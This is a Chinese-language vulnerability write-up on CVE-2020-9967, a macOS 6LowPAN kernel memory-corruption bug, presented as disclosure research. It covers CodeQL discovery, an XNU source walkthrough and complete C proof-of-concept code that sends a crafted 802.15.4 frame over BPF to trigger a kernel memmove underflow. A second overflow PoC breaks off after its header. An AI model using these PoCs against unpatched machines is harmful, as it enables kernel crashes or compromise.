揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱

admin 2020年12月26日15:01:24评论23 views字数 27633阅读92分6秒阅读模式

揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱

在深受Kevin Backhouse在挖掘XNU远程漏洞方面的文章的启发后,我决定花点时间鼓捣一下CodeQL,并着手进行一些变种分析——结果,我在macOS 10.15.4的6LowPAN代码中发现了一个本地root到内核权限的提权漏洞(但是苹果称之为远程漏洞)。 

该漏洞已于2020年5月11日提交给苹果。

这个问题的漏洞编号为CVE-2020-9967,其修复方法包含在下面的安全更新中。

· macOS Big Sur

2020年12月5日,苹果公司表示,已经为所有适用平台公布了该CVE。

揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱
漏洞的发现过程

在XNU中,入站和出站的网络数据包被存储在一个称为mbuf的内存管理单元中。另外,这些数据通常是由操作系统的网络栈代码读取或写入mbuf中的。

我的思考过程是:定义一个简单的污点跟踪查询,以找出所有不受信任的网络数据来源(Source点,风险产生点),它们最终会污染内存复制操作的大小参数(Sink点,风险触发点)。我最初就是通过修改来自这里的查询来寻找Source点 m_mtod和Sink点 builtin___memcpy_chk的,但是,最终无功而返。然而,在XNU内部,bcopy被频繁使用,这最终会变成调用buildin___memmove_chk,所以查询被修改为:

import cpp

import semmle.code.cpp.dataflow.TaintTracking

import DataFlow::PathGraph

import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis


class Config extends TaintTracking::Configuration {

  Config() { this = "sixlowpan_flow" }


  override predicate isSource(DataFlow::Node source) {

    source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"

  }


  override predicate isSink(DataFlow::Node sink) {

    exists (FunctionCall call

    | call.getArgument(2) = sink.asExpr() and

      call.getTarget().getName() = "__builtin___memmove_chk" )

  }

}


from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink

where cfg.hasFlowPath(source, sink)

select sink, source, sink, "memmove with tainted size."

运行这个查询得到了大约15个结果,我发现的漏洞就是其中之一。

通过查看结果,我发现下面是一个值得手动调查的流程:

1   call to m_mtod  if_6lowpan.c:623:2

2   len     if_6lowpan.c:663:41

3   ref arg & ... [payload_len]    if_6lowpan.c:663:46

4   & ... [payload_len]    if_6lowpan.c:666:19

5   ieee02154hdr [payload_len]  sixxlowpan.c:882:38

6   ieee02154hdr [payload_len]  sixxlowpan.c:886:32

7   ieee02154hdr [payload_len]  sixxlowpan.c:819:43

8   ieee02154hdr [payload_len]  sixxlowpan.c:855:7

9   payload_len     sixxlowpan.c:855:21

10  ... - ...   sixxlowpan.c:855:7

这证明了为代码库提供定制化的CodeQL查询来识别常见漏洞模式的威力是多么的强大。

在深入介绍这里发现的漏洞之前,我们不妨先来了解一下6LowPAN的背景。

揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱
关于6LowPAN

事实证明,作为MacOS Catalina 10.15的一部分,苹果在XNU内核中悄悄地引入了对6LoWPAN和IEEE 802.15.4的支持。我们知道,XNU内核中引入的实质性变化都值得调查,因为它们很可能是引入新漏洞的来源。6LowPAN是“IPv6 over Low-Power Wireless Persona Area Networks”的缩写,顾名思义,它是一种网络技术,允许IPv6数据包有效地在小型链路层帧中传输,如IEEE 802.15.4。

与该协议对应的RFC是RFC4944、RFC6282和RFC6775。

下面,我们给大家介绍一下相关背景知识。IEEE 802.15.4是定义低速率无线个人区域网(LR-WPAN)操作的标准,并规定了LR-WPAN的物理层和媒体接入层。之后,6LowPAN扩展了该标准,提供了802.15.4中没有定义的上层。其中,一个流行的物联网协议Thread就采用了6LowPAN,顺便说一下,苹果已经在2018年加入了Thread工作组。

在XNU内核源代码中,frame802154.c提供了802.15.4帧的创建和解析的实现代码;if_6lowpan.c则含有6LowPAN网络接口的相关代码,sixlowpan.c中含有与6lowpan压缩和解压缩相关的代码。当然,其中大部分代码取自Contiki OS,只不过做了些修改和封装而已。

目前上述内容还没有公开的文档,唯一公开提到的只有关于Thread HomePod mini的内容。

揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱
IEEE 802.15.4的帧格式

第2层(协议栈内的MAC层)的定义位于IEEE标准802.15.4-2015中的“通用MAC帧格式”一章的第7.2节中。

揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱

该帧的控制字段如下所示:

揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱

IPv6数据包必须通过数据帧传输。当我们在后面讨论XNU代码库内的解析过程时,这些细节将很重要,因为首先需要对这些帧进行解析,以确定报头,然后才能处理有效载荷部分。

揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱
LoWPAN有效载荷

由于一个完整的IPv6数据包不适合IEEE 802.15.4帧,必须提供一个适配层,以符合IPv6对最小MTU的要求。该标准还定义了报头压缩的用法,因为预计大多数应用将使用基于IEEE 802.15.4的IP。

因此,如上所述,LoWPAN有效载荷(例如,IPv6分组)跟随在封装报头之后。

需要记住的是,IPv6报头也有40个八位字节长。

在初始标准中,定义了使用LOWPAN_HC1压缩的IPv6数据报。这意味着刚收到6LowPAN有效载荷时,它们是经过压缩的。这也是理解该漏洞的一个重要的注意事项。

揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱
数据链路层调度

我们的问题是,该如何把6LowPAN帧发送到苹果设备上,以及它们会不会被自动处理?通过仔细研究代码,我们发现数据链路层能够调度这种类型的帧。

最初,我们可以发送一个以太网数据包,它将交由demux函数进行处理:

int

ether_demux(ifnet_t ifp, mbuf_t m, char *frame_header,

    protocol_family_t *protocol_family)

{

    struct ether_header *eh = (struct ether_header *)(void *)frame_header;

    u_short  ether_type = eh->ether_type;

    u_int16_t type;

    u_int8_t *data;

    u_int32_t i = 0;

    struct ether_desc_blk_str *desc_blk =

        (struct ether_desc_blk_str *)ifp->if_family_cookie;

    u_int32_t maxd = desc_blk ? desc_blk->n_max_used : 0;

    struct en_desc  *ed = desc_blk ? desc_blk->block_ptr : NULL;

    u_int32_t extProto1 = 0;

    u_int32_t extProto2 = 0;


    if (eh->ether_dhost[0] & 1) {

        /* Check for broadcast */

        if (_ether_cmp(etherbroadcastaddr, eh->ether_dhost) == 0) {

            m->m_flags |= M_BCAST;

        } else {

            m->m_flags |= M_MCAST;

        }

    }


    if (m->m_flags & M_HASFCS) {

        /*

         * If the M_HASFCS is set by the driver we want to make sure

         * that we strip off the trailing FCS data before handing it

         * up the stack.

         */

        m_adj(m, -ETHER_CRC_LEN);

        m->m_flags &= ~M_HASFCS;

    }


    if ((eh->ether_dhost[0] & 1) == 0) {

        /*

         * When the driver is put into promiscuous mode we may receive

         * unicast frames that are not intended for our interfaces.

         * They are marked here as being promiscuous so the caller may

         * dispose of them after passing the packets to any interface

         * filters.

         */

        if (_ether_cmp(eh->ether_dhost, IF_LLADDR(ifp))) {

            m->m_flags |= M_PROMISC;

        }

    }


    /* check for IEEE 802.15.4 */

    if (ether_type == htons(ETHERTYPE_IEEE802154)) {

        *protocol_family = PF_802154;

        return 0;

    }

如果以太网报头中的ether_type为ETHERTYPE_IEEE802154,那么我们将把protocol_family设置为PF_802154。

现在,在默认配置中,除非配置了6lowpan接口,否则无法处理该protocol_family,这导致以下代码注册函数sixlowpan_input,并在处理802.15.4帧时调用该函数。

/*

 * Function: sixlowpan_attach_protocol

 * Purpose:

 *   Attach a DLIL protocol to the interface

 *   The ethernet demux actually special cases 802.15.4.

 *   The demux here isn't used. The demux will return PF_802154 for the

 *   appropriate packets and our sixlowpan_input function will be called.

 */

static int

sixlowpan_attach_protocol(struct ifnet *ifp)

{

    int     error;

    struct ifnet_attach_proto_param reg;


    bzero(&reg, sizeof(reg));

    reg.input            = sixlowpan_input;

    reg.detached         = sixlowpan_detached;

    error = ifnet_attach_protocol(ifp, PF_802154, &reg);

    if (error) {

        printf("%s(%s%d) ifnet_attach_protocol failed, %dn",

            __func__, ifnet_name(ifp), ifnet_unit(ifp), error);

    }

    return error;

}

揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱
漏洞详情

好了,现在我们终于把背景信息交代清楚了,接下来,我们开始介绍本人所发现的漏洞。对802.15.4数据帧进行解封的sixlowpan_input函数的代码具体如下:

/*

 * 6lowpan input routine.

 * Decapsulate the 802.15.4 Data Frame

 * Header decompression on the payload

 * Pass the mbuf to the IPV6 protocol stack using proto_input()

 */

static int

sixlowpan_input(ifnet_t p, __unused protocol_family_t protocol,

    mbuf_t m, __unused char *frame_header)

{

    frame802154_t      ieee02154hdr;

    u_int8_t           *payload = NULL;

    if6lpan_ref        ifl = NULL;

    bpf_packet_func    bpf_func;

    mbuf_t mc, m_temp;

    int off, err = 0;

    u_int16_t len;


    /* Allocate an mbuf cluster for the 802.15.4 frame and uncompressed payload */

    mc = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);

    if (mc == NULL) {

        err = -1;

        goto err_out;

    }


    memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t));

    len = ntohs(len);                  // This is the size read from the frame on the wire.

    m_adj(m, sizeof(u_int16_t));

    /* Copy the compressed 802.15.4 payload from source mbuf to allocated cluster mbuf */

    for (m_temp = m, off = 0; m_temp != NULL; m_temp = m_temp->m_next) {

        if (m_temp->m_len > 0) {

            m_copyback(mc, off, m_temp->m_len, mtod(m_temp, void *));

            off += m_temp->m_len;

        }

    }


    p = p_6lowpan_ifnet;

    mc->m_pkthdr.rcvif = p;


    sixlowpan_lock();

    ifl = ifnet_get_if6lpan_retained(p);


    if (ifl == NULL) {

        sixlowpan_unlock();

        err = -1;

        goto err_out;

    }


    if (if6lpan_flags_ready(ifl) == 0) {

        if6lpan_release(ifl);

        sixlowpan_unlock();

        err = -1;

        goto err_out;

    }


    bpf_func = ifl->if6lpan_bpf_input;

    sixlowpan_unlock();

    if6lpan_release(ifl);


    if (bpf_func) {

        bpf_func(p, mc);

    }


    /* Parse the 802.15.4 frame header */

    bzero(&ieee02154hdr, sizeof(ieee02154hdr));

    frame802154_parse(mtod(mc, uint8_t *), len, &ieee02154hdr, &payload);


    /* XXX Add check for your link layer address being dest */

    sixxlowpan_input(&ieee02154hdr, payload);

首先,m_getcl为传入的802.15.4帧和未压缩的有效载荷分配一个mbuf集群:即mc。

集群mbuf的大小是MCLBYTES,即2048字节。超过该大小的数据将被复制到链接到一起的多个mbuf中。

正如您看到的,len是从传入的mbuf m中读取的,并且是完全由攻击者控制的。

然后,m_adj被用来从mbuf链的开头减去这两个字节。

然后,将压缩后的802.15.4有效载荷从Source点mbuf m复制到分配的集群mbuf mc中。

然后,将集群mbuf的数据指针与攻击者控制的len值一起传递给frame802154_parse。

不过,这里存在一些明显的问题,比如,如果mbuf内的数据小于mc内的帧的长度,结果会怎样?

/*----------------------------------------------------------------------------*/

/**

 *   brief Parses an input frame.  Scans the input frame to find each

 *   section, and stores the information of each section in a

 *   frame802154_t structure.

 *

 *   param data The input data from the radio chip.

 *   param len The size of the input data

 *   param pf The frame802154_t struct to store the parsed frame information.

 */

int

frame802154_parse(uint8_t *data, int len, frame802154_t *pf, uint8_t **payload)

{

    uint8_t *p;

    frame802154_fcf_t fcf;

    int c;

#if LLSEC802154_USES_EXPLICIT_KEYS

    uint8_t key_id_mode;

#endif /* LLSEC802154_USES_EXPLICIT_KEYS */


    if (len < 3) {

        return 0;

    }


    p = data;


    /* decode the FCF */

    fcf.frame_type = p[0] & 7;

    fcf.security_enabled = (p[0] >> 3) & 1;

    fcf.frame_pending = (p[0] >> 4) & 1;

    fcf.ack_required = (p[0] >> 5) & 1;

    fcf.panid_compression = (p[0] >> 6) & 1;


    fcf.dest_addr_mode = (p[1] >> 2) & 3;

    fcf.frame_version = (p[1] >> 4) & 3;

    fcf.src_addr_mode = (p[1] >> 6) & 3;


    /* copy fcf and seqNum */

    memcpy(&pf->fcf, &fcf, sizeof(frame802154_fcf_t));

    pf->seq = p[2];

    p += 3;                             /* Skip first three bytes */


    /* Destination address, if any */

    if (fcf.dest_addr_mode) {

        /* Destination PAN */

        pf->dest_pid = p[0] + (p[1] << 8);

        p += 2;


        /* Destination address */

        /*     l = addr_len(fcf.dest_addr_mode); */

        /*     for(c = 0; c < l; c++) { */

        /*       pf->dest_addr.u8[c] = p[l - c - 1]; */

        /*     } */

        /*     p += l; */

        if (fcf.dest_addr_mode == FRAME802154_SHORTADDRMODE) {

            linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);

            pf->dest_addr[0] = p[1];

            pf->dest_addr[1] = p[0];

            p += 2;

        } else if (fcf.dest_addr_mode == FRAME802154_LONGADDRMODE) {

            for (c = 0; c < 8; c++) {

                pf->dest_addr[c] = p[7 - c];

            }

            p += 8;

        }

    } else {

        linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);

        pf->dest_pid = 0;

    }


    /* Source address, if any */

    if (fcf.src_addr_mode) {

        /* Source PAN */

        if (!fcf.panid_compression) {

            pf->src_pid = p[0] + (p[1] << 8);

            p += 2;

        } else {

            pf->src_pid = pf->dest_pid;

        }


        /* Source address */

        /*     l = addr_len(fcf.src_addr_mode); */

        /*     for(c = 0; c < l; c++) { */

        /*       pf->src_addr.u8[c] = p[l - c - 1]; */

        /*     } */

        /*     p += l; */

        if (fcf.src_addr_mode == FRAME802154_SHORTADDRMODE) {

            linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);

            pf->src_addr[0] = p[1];

            pf->src_addr[1] = p[0];

            p += 2;

        } else if (fcf.src_addr_mode == FRAME802154_LONGADDRMODE) {

            for (c = 0; c < 8; c++) {

                pf->src_addr[c] = p[7 - c];

            }

            p += 8;

        }

    } else {

        linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);

        pf->src_pid = 0;

    }


#if LLSEC802154_SECURITY_LEVEL

    if (fcf.security_enabled) {

        pf->aux_hdr.security_control.security_level = p[0] & 7;

#if LLSEC802154_USES_EXPLICIT_KEYS

        pf->aux_hdr.security_control.key_id_mode = (p[0] >> 3) & 3;

#endif /* LLSEC802154_USES_EXPLICIT_KEYS */

        p += 1;


        memcpy(pf->aux_hdr.frame_counter.u8, p, 4);

        p += 4;


#if LLSEC802154_USES_EXPLICIT_KEYS

        key_id_mode = pf->aux_hdr.security_control.key_id_mode;

        if (key_id_mode) {

            c = (key_id_mode - 1) * 4;

            memcpy(pf->aux_hdr.key_source.u8, p, c);

            p += c;

            pf->aux_hdr.key_index = p[0];

            p += 1;

        }

#endif /* LLSEC802154_USES_EXPLICIT_KEYS */

    }

#endif /* LLSEC802154_SECURITY_LEVEL */


    /* header length */

    c = p - data;

    /* payload length */

    pf->payload_len = (len - c);

    /* payload */

    *payload = p;


    /* return header length if successful */

    return c > len ? 0 : c;

}



/** brief Parameters used by the frame802154_create() function.  These

 *  parameters are used in the 802.15.4 frame header.  See the 802.15.4

 *  specification for details.

 */

struct frame802154 {

    /* The fields dest_addr and src_addr must come first to ensure they are aligned to the

     * CPU word size. Needed as they are accessed directly as linkaddr_t*. Note we cannot use

     * the type linkaddr_t directly here, as we always need 8 bytes, not LINKADDR_SIZE bytes. */

    uint8_t dest_addr[8];           /**< Destination address */

    uint8_t src_addr[8];            /**< Source address */

    frame802154_fcf_t fcf;          /**< Frame control field  */

    uint8_t seq;                    /**< Sequence number */

    uint16_t dest_pid;              /**< Destination PAN ID */

    uint16_t src_pid;               /**< Source PAN ID */

    frame802154_aux_hdr_t aux_hdr;  /**< Aux security header */

    //uint8_t *payload;               /**< Pointer to 802.15.4 payload */

    int payload_len;                /**< Length of payload field */

};

typedef struct frame802154 frame802154_t;

关于这个函数和调用方,有一些重要的注意事项:

· 如果len<3,那么函数将返回0,并且不会初始化有效载荷指针(也就是一个NULL指针)。· frame802154_parse的返回值不会被检查。因此,这可能导致报头长度大于有效载荷的情况。

· 由于我们可以将len控制在0-0xffff的范围之间,因此,我们可以使pf->payload_len为负值(至-header_len),小于预期的大小或者大于mc中输入数据本身的大小。

那么,在这些情况下会发生什么事情呢?

errno_t

sixxlowpan_input(struct frame802154 *ieee02154hdr, u_int8_t *payload)

{

    errno_t error = 0;


    error = sixxlowpan_uncompress(ieee02154hdr, payload);

    if (error != 0) {

        goto done;

    }


    /*

     * TO DO: fragmentation

     */


done:

    return error;

}

然后,对有效载荷进行解压:

errno_t

sixxlowpan_uncompress(struct frame802154 *ieee02154hdr, u_int8_t *payload)

{

    long hdroffset;

    size_t hdrlen;

    u_int8_t hdrbuf[128];

    errno_t error;


    bzero(hdrbuf, sizeof(hdrbuf));

    hdrlen = sizeof(hdrbuf);


    error = uncompress_hdr_hc1(ieee02154hdr, (u_int8_t *)payload,

        0, &hdroffset, &hdrlen, hdrbuf);


    if (error != 0) {

        return error;

    }


    if (hdroffset < 0) {

        /*

         * hdroffset negative means that we have to remove

         * hdrlen of extra stuff

         */

        memmove(&payload[0],

            &payload[hdrlen],

            ieee02154hdr->payload_len - hdrlen);

        ieee02154hdr->payload_len -= hdrlen;

    } else {

        /*

         * hdroffset is the size of the compressed header

         * -- i.e. when the untouched data starts

         *

         * hdrlen is the size of the decompressed header

         * that takes the place of compressed header of size hdroffset

         */

        memmove(payload + hdrlen,

            payload + hdroffset,

            ieee02154hdr->payload_len - hdroffset);

        memcpy(payload, hdrbuf, hdrlen);

        ieee02154hdr->payload_len += hdrlen - hdroffset;

    }


    return 0;

}

下面,我们来看一下解压缩函数:

/*--------------------------------------------------------------------*/

/**

 * brief Uncompress HC1 (and HC_UDP) headers and put them in

 * sicslowpan_buf

 *

 * This function is called by the input function when the dispatch is

 * HC1.

 * We %process the packet in the packetbuf buffer, uncompress the header

 * fields, and copy the result in the sicslowpan buffer.

 * At the end of the decompression, packetbuf_hdr_len and uncompressed_hdr_len

 * are set to the appropriate values

 *

 * param ip_len Equal to 0 if the packet is not a fragment (IP length

 * is then inferred from the L2 length), non 0 if the packet is a 1st

 * fragment.

 */

errno_t

uncompress_hdr_hc1(struct frame802154 *frame, u_int8_t *payload,

    uint16_t ip_len, long *hdroffset, size_t *hdrlen, u_int8_t *hdrbuf)

{

    struct ip6_hdr *ip6 = (struct ip6_hdr *)hdrbuf;


    if (payload[PACKETBUF_HC1_DISPATCH] == SICSLOWPAN_DISPATCH_IPV6) {

        *hdroffset = -SICSLOWPAN_IPV6_HDR_LEN;

        *hdrlen = SICSLOWPAN_IPV6_HDR_LEN;

        return 0;

    }


    *hdroffset = 0;


    /* version, traffic class, flow label */

    ip6->ip6_flow = 0;

    ip6->ip6_vfc = IPV6_VERSION;


    /* src and dest ip addresses */

    uip_ip6addr_u8(&ip6->ip6_src, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);

    uip_ds6_set_addr_iid(&ip6->ip6_src,

        (uip_lladdr_t *)frame->src_addr);


    uip_ip6addr_u8(&ip6->ip6_dst, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);

    uip_ds6_set_addr_iid(&ip6->ip6_dst,

        (uip_lladdr_t *)frame->dest_addr);


    *hdrlen = UIP_IPH_LEN;


    /* Next header field */

    switch (payload[PACKETBUF_HC1_ENCODING] & 0x06) {

    case SICSLOWPAN_HC1_NH_ICMP6:

        ip6->ip6_nxt = IPPROTO_ICMPV6;

        ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];

        *hdroffset = SICSLOWPAN_HC1_HDR_LEN;

        break;


    case SICSLOWPAN_HC1_NH_TCP:

        ip6->ip6_nxt = IPPROTO_TCP;

        ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];

        *hdroffset = SICSLOWPAN_HC1_HDR_LEN;

        break;


    case SICSLOWPAN_HC1_NH_UDP:

        ip6->ip6_nxt = IPPROTO_UDP;

        if (payload[PACKETBUF_HC1_HC_UDP_HC1_ENCODING] & 0x01) {

            struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;


            /* UDP header is compressed with HC_UDP */

            if (payload[PACKETBUF_HC1_HC_UDP_UDP_ENCODING] !=

                SICSLOWPAN_HC_UDP_ALL_C) {

                printf("sicslowpan (uncompress_hdr), packet not supported");

                return EINVAL;

            }

            /* IP TTL */


            ip6->ip6_hlim = payload[PACKETBUF_HC1_HC_UDP_TTL];

            /* UDP ports, len, checksum */

            udp->uh_sport =

                htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] >> 4));

            udp->uh_dport =

                htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] & 0x0F));


            memcpy(&udp->uh_sum, &payload[PACKETBUF_HC1_HC_UDP_CHKSUM], 2);

            *hdrlen += UIP_UDPH_LEN;

            *hdroffset = SICSLOWPAN_HC1_HC_UDP_HDR_LEN;

        } else {

            ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];

            *hdroffset = SICSLOWPAN_HC1_HDR_LEN;

        }

        break;


    default:

        /* this shouldn't happen, drop */

        return EINVAL;

    }


    /* IP length field. */

    if (ip_len == 0) {

        size_t len = frame->payload_len - *hdroffset + *hdrlen - sizeof(struct ip6_hdr);


        /* This is not a fragmented packet */

        SET16(&ip6->ip6_plen, len);

    } else {

        /* This is a 1st fragment */

        SET16(&ip6->ip6_plen, ip_len - UIP_IPH_LEN);

    }

    /* length field in UDP header */

    if (ip6->ip6_nxt == IPPROTO_UDP) {

        struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;


        memcpy(&udp->uh_ulen, &ip6->ip6_plen, 2);

    }

    return 0;

}

我们可以通过这个函数观察到以下情况:

1.它预期mbuf中至少有40字节供IPv6报头 *hdrlen使用。

2.它不期望有效载荷的长度会小于报头的长度。

3.ip_len总是0。

如果我们忽略了所有可能的界外读取,则可以将该问题用于如下的界外写入:

· len的下溢导致一个巨大的值被传递给memmove(wild write).

因此,如果我们将接收到的帧的len设置为0x4,我们最终会在frame802154_parse中计算出以下值:

c header length = 3 frame->payload_len = 1

然后,通过设置SICSLOWPAN_HC1_NH_UDP,我们最终在uncompress_hdr_hc1中得到以下值:

*hdroffset = SICSLOWPAN_HC1_HDR_LEN; 即 *hdroffset = 3


*hdrlen = UIP_IPH_LEN; 即 *hdrlen = 40


sizeof(struct ip6_hdr) = 40

因此,当我们返回sixxlowpan_uncompress函数时:

/*         * hdroffset is the size of the compressed header         * -- i.e. when the untouched data starts         *         * hdrlen is the size of the decompressed header         * that takes the place of compressed header of size hdroffset         */        memmove(payload + hdrlen,            payload + hdroffset,            ieee02154hdr->payload_len - hdroffset);        memcpy(payload, hdrbuf, hdrlen);

我们将在payload+40处执行写入操作(在mc mbuf集群中,受攻击者控制的数据来自Source payload缓冲区,长度为ieee02154hdr->payload_len - 3 = -2)。

揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱
POC 1:下溢

/***


Apple XNU 6LowPAN POC

Catalina 10.15.4


POC 1: Wild memmove trigger with an underflow.


Run this on target machine (or local system if testing locally):

sudo ifconfig 6lowpan create

sudo ifconfig 6lowpan0 up

sudo ifconfig 6lowpan0 6lowpansetdev en0


***/


#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include


// Set these to source and target

unsigned char dest_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

unsigned char src_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};


struct frame_t {

    struct ether_header header;

    unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];

    ssize_t len;

    ssize_t payload_len;

};


// Open bpf device

int open_bpf_device()

{

    char buf[11] = {};

    int bpf = 0;

    for(int i = 0; i < 99; i++)

    {

        sprintf(buf,"/dev/bpf%i",i);

        bpf = open(buf,O_RDWR);

        if( bpf != -1 ) {

            printf("Opened device /dev/bpf%in", i);

            break;

        }

    }

    if(bpf == -1) {

        printf("Cannot open any /dev/bpf* device, exitingn");

        exit(1);

    }

    return bpf;

}


// Associate device

void assoc_dev(int bpf, char* interface)

{

    struct ifreq bound_if;

    strcpy(bound_if.ifr_name, interface);

    if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {

        printf("Cannot bind bpf device to physical device %s, exitingn", interface);

        exit(1);

    }

    printf("Bound bpf device to physical device %sn", interface);

}


// Write trigger frame

void write_single_frame(int bpf)

{

    ssize_t data_length = 32;


    struct frame_t frame;

    memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);

    memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);


    //  802.15.4 frame type.

    frame.header.ether_type = 0x908;

    frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length;


    // Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);

    frame.payload[0] = 0;

    frame.payload[1] = 4;


    // This is the start of the "data" passed to frame802154_parse and considered frame header

    // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)

    // These are used for the FCF (no flags set)

    frame.payload[2] = 0;

    frame.payload[3] = 0;

    frame.payload[4] = 0;


    // As none FCF are set p+=3 bytes.

    // header length

    // c = p - data;

    // c = 3

    // payload length

    // pf->payload_len = (4 - 3);

    // pf->payload_len = 1


    // This is the start of our payload passed to sixxlowpan_uncompress

    frame.payload[5] = 0;

    frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP


    // Just pad the frame with 'A'.

    for (int j = 7; j < 32; j++) {

        frame.payload[j] = 0x41;

    }


    ssize_t bytes_sent;

    bytes_sent = write(bpf, &frame, frame.len);

    if(bytes_sent > 0) {

        printf("Bytes sent: %ldn", bytes_sent);

    } else {

        perror("Error sending frame");

        exit(1);

    }

}


int main(int argc, char *argv[])

{

    char* interface = "en0";


    int bpf;

    bpf = open_bpf_device();

    assoc_dev(bpf, interface);

    write_single_frame(bpf);


    return 0;

}

在上面的POC 1代码中,我们通过1-3=-2触发了一个“胖手指式”的写入操作,以使问题变得更加明显。

我们可以通过下面的调试输出来进行确认:

(lldb) disas

kernel`sixxlowpan_uncompress:

    0xffffff8003ffa0b0

    0xffffff8003ffa0b1

    0xffffff8003ffa0b4

    0xffffff8003ffa0b6

    0xffffff8003ffa0b8

    0xffffff8003ffa0ba

    0xffffff8003ffa0bc

    0xffffff8003ffa0bd

    0xffffff8003ffa0c4

    0xffffff8003ffa0c7

    0xffffff8003ffa0ca

    0xffffff8003ffa0d1

    0xffffff8003ffa0d4

    0xffffff8003ffa0d8

    0xffffff8003ffa0d9

    0xffffff8003ffa0e3

    0xffffff8003ffa0eb

    0xffffff8003ffa0f3

    0xffffff8003ffa0fb

    0xffffff8003ffa103

    0xffffff8003ffa10b

    0xffffff8003ffa113

    0xffffff8003ffa11b

    0xffffff8003ffa123

    0xffffff8003ffa12b

    0xffffff8003ffa133

    0xffffff8003ffa13e

    0xffffff8003ffa149

    0xffffff8003ffa154

    0xffffff8003ffa15f

    0xffffff8003ffa16a

    0xffffff8003ffa175

    0xffffff8003ffa17c

    0xffffff8003ffa181

    0xffffff8003ffa184


    0xffffff8003ffa189

    0xffffff8003ffa194

    0xffffff8003ffa19b

    0xffffff8003ffa1a2

    0xffffff8003ffa1a5

    0xffffff8003ffa1a8

    0xffffff8003ffa1aa

    0xffffff8003ffa1ad


    0xffffff8003ffa1b2

    0xffffff8003ffa1b4

    0xffffff8003ffa1b6

    0xffffff8003ffa1b8

    0xffffff8003ffa1bf

    0xffffff8003ffa1c6

    0xffffff8003ffa1ca

    0xffffff8003ffa1cd


    0xffffff8003ffa1cf

    0xffffff8003ffa1d3

    0xffffff8003ffa1d7

    0xffffff8003ffa1d8

->  0xffffff8003ffa1da



(lldb) register read

General Purpose Registers:

       rax = 0x0000000000000000

       rbx = 0x0000000000000000

       rcx = 0xffffff80669e3d28

       rdx = 0xfffffffffffffffe

       rdi = 0xffffff80602e1806

       rsi = 0xffffff80602e182b

       rbp = 0xffffff80669e3cf0

       rsp = 0xffffff80669e3c30

        r8 = 0xffffff80669e3c38

        r9 = 0xffffff80669e3c40

       r10 = 0x0000000000000000

       r11 = 0x0000000000000003

       r12 = 0x0000000000000028

       r13 = 0x0000000000000003

       r14 = 0xffffff80669e3d28

       r15 = 0xffffff80602e1803

       rip = 0xffffff8003ffa1da  kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703

  kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853

  kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853

    rflags = 0x0000000000000393

        cs = 0x0000000000000008

        fs = 0x00000000ffff0000

        gs = 0x00000000669e0000

揭开Apple macOS 6LowPAN漏洞(CVE-2020-9967)的神秘面纱
POC 2:上溢

然而,我们可以用巨大的有效载荷长度来触发更可控的内存破坏活动,这同时也可能触发代码执行。

例如,我们可以使用以下参数:

len = 0xffff


pf->payload_len = (0xffff - 3); = 65532 pf->payload_len = 0xfffc

将导致memmove在payload+40处执行写入操作,数据来自攻击者,大小为0xfffc-40 =(0xfff9)65529。

POC 2可以演示该过程:

/***


Apple XNU 6LowPAN POC

Catalina 10.15.4


POC 2: Write 0xffd4 bytes - overflow


Run this on target machine (or local system if testing locally):

sudo ifconfig 6lowpan create

sudo ifconfig 6lowpan0 up

sudo ifconfig 6lowpan0 6lowpansetdev en0


***/


#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include


// Set these to source and target

unsigned char dest_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

unsigned char src_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};


